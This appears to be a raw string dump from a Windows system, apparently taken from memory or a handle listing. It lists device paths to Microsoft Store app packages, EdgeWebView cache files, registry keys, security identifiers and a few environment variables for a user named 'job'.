Files\WindowsApps\Microsoft.GamingApp_2505.900.9.0_x64__8wekyb3d8bbwe\resources.pri:WofCompressedData ivationStore.dat \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.GamingApp_2505.900.9.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata ivationStore.dat WIN://SYSAPPID Microsoft.WindowsCamera_8wekyb3d8bbwe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\lockfile trics rm-lightunplated.png \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_0 \Device\HarddiskVolume3\Program Files\WindowsApps\Clipchamp.Clipchamp_4.3.10120.0_x64__yxz26nhyzhsrt\Images\AppList.targetsize-32_altform-lightunplated.png \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll::$EA comctl32.dll 3f6.manifest Roaming LiveCaptions.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\SystemAppData\Helium\User.dat e\ActivationStore.dat \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-100_8wekyb3d8bbwe\resources.pri Assets \Device\HarddiskVolume3\Windows\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_6ef363983dc6ce30\GdiPlus.dll \Device\HarddiskVolume3\Windows\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_6ef363983dc6ce30\GdiPlus.dll:WofCompressedData \Device\HarddiskVolume3\Windows\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_6ef363983dc6ce30\GdiPlus.dll vationStore.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt resources.pri www.bing.com_0.indexeddb.leveldb\000011.ldb ldb\000023.dbtmp AppData Local Microsoft \Device\HarddiskVolume3\Windows\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_6ef363983dc6ce30\GdiPlus.dll ux-phui.dll Clipboard.dll Payments.dll pcwum.dll WsmSvc.dll WsmAuto.dll qmgr.jfm \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.GamingApp_2505.900.9.0_x64__8wekyb3d8bbwe\Assets\Xbox_AppList.targetsize-32_altform-lightunplated.png tore\ActivationStore.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Sync Data\LevelDB\CURRENT~RFdc27.TMP dbtmp vationStore.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\ScriptCache\4cb013792b196a35_0 \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.BingNews_1.0.2.0_x64__8wekyb3d8bbwe\Assets\AppTiles\NewsAppList.targetsize-32_altform-lightunplated.png erMessage.winmd age.winmd \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index f8f.dat ~tmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Network Persistent State T~RFdc37.TMP .tmp pckgdep f21c42d-5dae-454d-b699-df69fdd1ef8f.dat.~tmp 3954268b6.dat~RFb381.TMP WIN://SYSAPPID Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe Assets \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy\machine.pckgdep resources.pri \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.GamingApp_2505.900.9.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri .dat eedProvider\ resources.pri resources.pri \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_1 WIN://SYSAPPID Microsoft.XboxGamingOverlay_8wekyb3d8bbwe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\d9c1fee5e7a1429a_1 che_Data\f_00001c e\HarddiskVolume3\Windows\System32\twinapi.appcore.dll tw.exe resources.pri Assets \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe f21c42d-5dae-454d-b699-df69fdd1ef8f.dat.~tmp \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\WER\ReportArchive\Critical_10.0.26100.7839__d85f62c3cb5117eb628551bdaf4d9cb78458830_00000000_3ddb8789-89cf-4291-9fc3-a6148f6b6166\Report.wer tionStore.dat 8c63-5e93954268b6.dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Content ize-32.png USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS Sessions\1\AppContainerNamedObjects\S-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723 \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.GetHelp_10.2407.22193.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri Sessions\1\AppContainerNamedObjects\S-1-15-2-1433382107-525783102-3264187439-2233956802-150629141-2653644966-3104780440 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_3 \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0_COM15.dat.LOG2 \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0_COM15.dat.LOG2 \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0_COM15.dat.LOG2 \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0_COM15.dat.LOG2 \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0_COM15.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_0 \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0_COM15.dat.LOG1 oftStartFeed \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState\FeedSessions\Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartFeed \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0_COM15.dat.LOG1 ationStore.dat \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0_COM15.dat.LOG1 ationStore.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb\MANIFEST-000010 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Analytics e-32.png resources.pri resources.pri \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index f8f.dat resources.pri \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.BingWeather_3.2.10.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.RulesEngine.AppXfg8m4g1sed4hejywgfgeha3dmkg0j4ck.wwa \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\ScriptCache\4cb013792b196a35_0 2286-1001.pckgdep \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.DesktopSpotlight.AppXvp5m44xepzrmffmk4h0y1vz4zz33b4f9.wwa <=<=2:<>9>> WofCompressedData 101cHWNDInterface:10224 WofCompressedData WIN://SYSAPPID PolicyObject WofCompressedData WofCompressedData GDI+ Hook Window WofCompressedData SM0:5016:120:WilError_03 WofCompressedData SubscribedContent-280811 \Device\HarddiskVolume3 WofCompressedData PPID WofCompressedData lume3 WofCompressedData WofCompressedData ONSKU SubscribedContent-280810 WIN://SYSAPPID WofCompressedData \Device\HarddiskVolume3 WofCompressedData WofCompressedData SM0:6116:120:WilError_03 Termsrv Session Termsrv Session WofCompressedData WofCompressedData WofCompressedData Termsrv Session WofCompressedData Termsrv Session WofCompressedData WIN://SYSAPPID WofCompressedData WofCompressedData WofCompressedData WIN://SYSAPPID WofCompressedData WIN://SYSAPPID WofCompressedData WofCompressedData \Device\HarddiskVolume3 1398HWNDInterface:102ec WofCompressedData WofCompressedData WofCompressedData ONSKU WofCompressedData WofCompressedData WofCompressedData \\.\DISPLAY1 WofCompressedData HasAnimations.5016.7516 WofCompressedData WofCompressedData JECT WofCompressedData WofCompressedData WofCompressedData WofCompressedData ONSKU WofCompressedData WofCompressedData ONSKU WofCompressedData WofCompressedData WofCompressedData tive WofCompressedData PPID WofCompressedData WofCompressedData WIN://SYSAPPID WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WIN://SYSAPPID WofCompressedData WofCompressedData WofCompressedData PPID WofCompressedData WofCompressedData WofCompressedData ONSKU WofCompressedData WofCompressedData WofCompressedData WofCompressedData PPID WofCompressedData WofCompressedData PPID WIN://SYSAPPID WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WIN://SYSAPPID WofCompressedData WofCompressedData WofCompressedData WofCompressedData SM0:5268:120:WilError_03 SM0:5908:120:WilError_03 WofCompressedData WofCompressedData WofCompressedData WIN://SYSAPPID Cor_SxSPublic_IPCBlock WofCompressedData WofCompressedData WofCompressedData \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.WidgetPicker.AppXdvjfrmnbea40znz82p0rxed61qebaz2s.wwa f_00001d \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_mk.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_kok.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ko.pak \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB lityDB\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\AvailabilityDB\LOG old~RFf8b7.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\optimization_guide_hint_cache_store\LOG.old \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280810\d736452c68c6438aa79430024cf161c1_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\AvailabilityDB\LOG old~RFf8b7.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\optimization_guide_hint_cache_store\LOG old~RFf898.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\optimization_guide_hint_cache_store\LOG old~RFf898.TMP vccorlib140.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_lo.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_lo.pak VERSION identity_proxy \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_mi.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_da.pak resources.pri \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_lv.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_lv.pak Installer copilot_setup.exe nifest \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ml.pak af.pak EdgeJourneys \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.DevHome_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.OutlookForWindows_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.OutlookForWindows_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.DevHome_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.OutlookForWindows_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.DevHome_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.OutlookForWindows_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.GamingApp_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.GamingApp_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.DevHome_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AV1VideoExtension_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingNews_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.GamingApp_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.ApplicationCompatibilityEnhancements_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingSearch_8wekyb3d8bbwe\AppData \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\4166733a19a30635_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingNews_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Clipchamp.Clipchamp_yxz26nhyzhsrt\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Clipchamp.Clipchamp_yxz26nhyzhsrt\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingSearch_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.GamingApp_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingNews_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AV1VideoExtension_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AV1VideoExtension_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingSearch_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Clipchamp.Clipchamp_yxz26nhyzhsrt\LocalState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Clipchamp.Clipchamp_yxz26nhyzhsrt\AppData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingNews_8wekyb3d8bbwe\LocalCache 